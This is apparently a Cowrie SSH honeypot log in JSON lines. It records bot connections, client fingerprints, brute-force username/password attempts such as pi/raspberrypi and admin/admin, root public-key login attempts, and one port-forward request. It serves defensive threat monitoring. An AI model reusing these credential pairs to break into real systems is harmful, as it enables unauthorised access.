{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:01.361172Z","src_ip":"167.86.66.42","session":"6df546a8627d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:01.459537Z","src_ip":"167.86.66.42","session":"6df546a8627d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"seoul","password":"Seoul#Bitc0!n@S3cur3","message":"login attempt [seoul/Seoul#Bitc0!n@S3cur3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:01.747175Z","src_ip":"167.86.66.42","session":"6df546a8627d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:02.842993Z","src_ip":"167.86.66.42","session":"6df546a8627d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":56034,"dst_ip":"10.17.0.5","dst_port":22,"session":"d53c0e09bebc","protocol":"ssh","message":"New connection: 91.92.40.176:56034 (10.17.0.5:22) [session: d53c0e09bebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:08.022651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:08.026530Z","src_ip":"91.92.40.176","session":"d53c0e09bebc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:08.108521Z","src_ip":"91.92.40.176","session":"d53c0e09bebc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.247.120","src_port":33912,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8724067e11d","protocol":"ssh","message":"New connection: 173.236.247.120:33912 (159.203.135.109:22) [session: c8724067e11d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:08.237449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:08.241318Z","src_ip":"173.236.247.120","session":"c8724067e11d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:08.252635Z","src_ip":"173.236.247.120","session":"c8724067e11d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethiopia","password":"Addis#Ethereum@P@ss","message":"login attempt [ethiopia/Addis#Ethereum@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:08.288219Z","src_ip":"173.236.247.120","session":"c8724067e11d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberrypi","message":"login attempt [pi/raspberrypi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:08.356774Z","src_ip":"91.92.40.176","session":"d53c0e09bebc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:09.302260Z","src_ip":"173.236.247.120","session":"c8724067e11d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:09.441833Z","src_ip":"91.92.40.176","session":"d53c0e09bebc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":6840,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f136cd8caa1","protocol":"ssh","message":"New connection: 176.53.159.196:6840 (10.17.0.5:22) [session: 0f136cd8caa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:16.093242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:16.097044Z","src_ip":"176.53.159.196","session":"0f136cd8caa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:16.197570Z","src_ip":"176.53.159.196","session":"0f136cd8caa1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:16.486050Z","src_ip":"176.53.159.196","session":"0f136cd8caa1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:16.584125Z","session":"0f136cd8caa1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:16.680889Z","src_ip":"176.53.159.196","session":"0f136cd8caa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:16.778473Z","src_ip":"176.53.159.196","session":"0f136cd8caa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.75.149.221","src_port":34974,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b8e639fe075","protocol":"ssh","message":"New connection: 51.75.149.221:34974 (10.17.0.5:22) [session: 0b8e639fe075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:35.050817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:35.054586Z","src_ip":"51.75.149.221","session":"0b8e639fe075","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:35.146497Z","src_ip":"51.75.149.221","session":"0b8e639fe075","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:26:71:a8:b6:61:20:6e:85:05:bf:cf:5b:51:83:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDuHUW87f8TmOAltCy6udCT3u/xIRcv9an2duJsN1375AJn4kUCe+R9mUu0T6OaRfdNQAs/bY97vxrHHt6nS+JCds86M8IqQriPbZcHNly5N+SpIqgVCzlw/3z5XYxsbOn9Z9Ch4b99vDWBdw1MM13cjlOfQe0gvG4Jyy15TLFBMbQheGBBd/iLBuc6z/LPhbSCkRu20d79bb6a3788gJs+4fzsrIsPmt8UH6aYM6/su27njuvG1biJ9f3B+TyQaj6ftLtrvkl8UV4KnBktUXNgp8z9EbDO23oe1UGFD7HfpMz2d4khd7g0menbNibdrEh51LfdR59J5xdM9IK/0xyn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:26:71:a8:b6:61:20:6e:85:05:bf:cf:5b:51:83:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:35.584469Z","src_ip":"51.75.149.221","session":"0b8e639fe075","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:26:71:a8:b6:61:20:6e:85:05:bf:cf:5b:51:83:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDuHUW87f8TmOAltCy6udCT3u/xIRcv9an2duJsN1375AJn4kUCe+R9mUu0T6OaRfdNQAs/bY97vxrHHt6nS+JCds86M8IqQriPbZcHNly5N+SpIqgVCzlw/3z5XYxsbOn9Z9Ch4b99vDWBdw1MM13cjlOfQe0gvG4Jyy15TLFBMbQheGBBd/iLBuc6z/LPhbSCkRu20d79bb6a3788gJs+4fzsrIsPmt8UH6aYM6/su27njuvG1biJ9f3B+TyQaj6ftLtrvkl8UV4KnBktUXNgp8z9EbDO23oe1UGFD7HfpMz2d4khd7g0menbNibdrEh51LfdR59J5xdM9IK/0xyn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:35.587431Z","src_ip":"51.75.149.221","session":"0b8e639fe075","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:93:73:c4:dc:ff:17:78:86:fe:6d:da:f0:2f:2b:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCUmQUNibqgBfaCC1XoktcDOQXRTMQU7JAKha6TgJZTcudiZRgVTP1WPiSdIjVAacQ9cyCa9QdKm+LuTyhtNUcWJrzTShURfmJnTcI6/9jLFoEjZ/kHAfuDZOo69LYXBZwJPVcS8wTNjaX0xx2SNsdLsc9YQTnDOfMdDXrf7ESWb+GgnWKRDTynQVEX36whIbBQWlSgl7uzTv55WyxBROrCltlglwhWUgxw5U4Ju15sv+nyNQbMYQWNUueLupjcLPrTY50jAxD+L/VkiaGo+8mehVLYlBxeMBucJpctqtnx/GOMwDlOn7xPGXV0g+ktNU31DpYYH9F2GR9TpVR1BNOhDWp4oWM9KmkUCB1wOVkozASQIBa0kaEGSDxWOxnJDe/NzHr0AZA+GPxUV0U100Zh1BA9WMYlvupaceADfVDD9z/n8DstdXfJkVmhnJX5aztx/mBCkQ1zO6C9EP6VkiROTc/7sJxIvyK7cx36aoHfYfJjKFp0sVRA1XDblJR+oR6XZXBz4IJfWz+moNeOuAiZqe8c/7QfepRitKwByZbEAZThfelPDXyZN3aOPiagt9ucOqfs9LDffF7y1B/b4WPEZOpxtw+QepT8IHYt7/JN0ypH31TdRve3LlJeCVmJYc0alll2j6mnTvW2O8qIkM0QjM4kvcQCohe93xK8uGUjw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:93:73:c4:dc:ff:17:78:86:fe:6d:da:f0:2f:2b:7f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:35.681992Z","src_ip":"51.75.149.221","session":"0b8e639fe075","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:93:73:c4:dc:ff:17:78:86:fe:6d:da:f0:2f:2b:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCUmQUNibqgBfaCC1XoktcDOQXRTMQU7JAKha6TgJZTcudiZRgVTP1WPiSdIjVAacQ9cyCa9QdKm+LuTyhtNUcWJrzTShURfmJnTcI6/9jLFoEjZ/kHAfuDZOo69LYXBZwJPVcS8wTNjaX0xx2SNsdLsc9YQTnDOfMdDXrf7ESWb+GgnWKRDTynQVEX36whIbBQWlSgl7uzTv55WyxBROrCltlglwhWUgxw5U4Ju15sv+nyNQbMYQWNUueLupjcLPrTY50jAxD+L/VkiaGo+8mehVLYlBxeMBucJpctqtnx/GOMwDlOn7xPGXV0g+ktNU31DpYYH9F2GR9TpVR1BNOhDWp4oWM9KmkUCB1wOVkozASQIBa0kaEGSDxWOxnJDe/NzHr0AZA+GPxUV0U100Zh1BA9WMYlvupaceADfVDD9z/n8DstdXfJkVmhnJX5aztx/mBCkQ1zO6C9EP6VkiROTc/7sJxIvyK7cx36aoHfYfJjKFp0sVRA1XDblJR+oR6XZXBz4IJfWz+moNeOuAiZqe8c/7QfepRitKwByZbEAZThfelPDXyZN3aOPiagt9ucOqfs9LDffF7y1B/b4WPEZOpxtw+QepT8IHYt7/JN0ypH31TdRve3LlJeCVmJYc0alll2j6mnTvW2O8qIkM0QjM4kvcQCohe93xK8uGUjw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:35.684432Z","src_ip":"51.75.149.221","session":"0b8e639fe075","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:fa:60:40:6a:d1:04:6c:f0:41:9d:34:7b:26:78:93","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM4+TyJ+1wuH62VoBjm3HFKU4ALPEHumIXZWAIPZhEUZ","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 8f:fa:60:40:6a:d1:04:6c:f0:41:9d:34:7b:26:78:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:35.775307Z","src_ip":"51.75.149.221","session":"0b8e639fe075","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:fa:60:40:6a:d1:04:6c:f0:41:9d:34:7b:26:78:93","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM4+TyJ+1wuH62VoBjm3HFKU4ALPEHumIXZWAIPZhEUZ","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:35.777639Z","src_ip":"51.75.149.221","session":"0b8e639fe075","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:73:a7:c9:ab:cf:4c:6f:92:c6:6b:00:7d:50:20:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTXdHtOVJBbAOuXFJVyUJj4EJzaJC2GToxDCalHWaYNcy7K+psimJrszk7D8hc4ZI24GDaNO9ZQY3rFqqD3pLF8cT3rEIyScCI9R/GnQmuyEliX4FMiSbvTXKbe3YOhssgE2bKDMapWEMVXljKUhIkXBVyHrNxAn1dBn/NtND9oA/qbVAzyArSfH4U6j7oB/lbgEKyAQsSqKQNZ8ftbFAugtSiceQi1Ivbi0Ig5HSFae88WPWyrRk1BG0HD0jqIGPUopHygqPdXmfN9nUcnwCFOuPBLALHE0x8Ij9WDKezgflUDktzv527X0xTIIz4DjdVHVD8zlzncsAxsh907bVF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:73:a7:c9:ab:cf:4c:6f:92:c6:6b:00:7d:50:20:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:35.871440Z","src_ip":"51.75.149.221","session":"0b8e639fe075","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:73:a7:c9:ab:cf:4c:6f:92:c6:6b:00:7d:50:20:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTXdHtOVJBbAOuXFJVyUJj4EJzaJC2GToxDCalHWaYNcy7K+psimJrszk7D8hc4ZI24GDaNO9ZQY3rFqqD3pLF8cT3rEIyScCI9R/GnQmuyEliX4FMiSbvTXKbe3YOhssgE2bKDMapWEMVXljKUhIkXBVyHrNxAn1dBn/NtND9oA/qbVAzyArSfH4U6j7oB/lbgEKyAQsSqKQNZ8ftbFAugtSiceQi1Ivbi0Ig5HSFae88WPWyrRk1BG0HD0jqIGPUopHygqPdXmfN9nUcnwCFOuPBLALHE0x8Ij9WDKezgflUDktzv527X0xTIIz4DjdVHVD8zlzncsAxsh907bVF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:35.874186Z","src_ip":"51.75.149.221","session":"0b8e639fe075","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:1c:b0:51:35:2a:56:46:d5:64:b0:55:32:a9:da:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC92b+CcHU2DpVSSzfTQJqrxvtbJ9FJkG6LJ56wP/s3glDppY+qkIghKjyS9QlQG6dUHUZhAikAYPMgrZpsHP51IK7rvC+q9rynWtGknYV8PcSovXn4AEjMDgrQCiEe31U0S0rF1QqrNe6NyTDHODDlGPGR8Qw1CUqfJzLVbF8HMiXuMXJu9nctngfH+EdtajNyyjGM20iPGLCAkwqoSjqmzwjGYigtnTSoEBxYbxlea7DER8390j3Vi/2vhFh/G2fyk6Mwuy5O4NjN8yi9fA7D9iqvVk016AoG3tmmAQjxojjwAMb7DK7e7o/2wSxXCYDS25XYrckChJPG1uHs00dJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3d:1c:b0:51:35:2a:56:46:d5:64:b0:55:32:a9:da:04","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:35.969643Z","src_ip":"51.75.149.221","session":"0b8e639fe075","protocol":"ssh"}
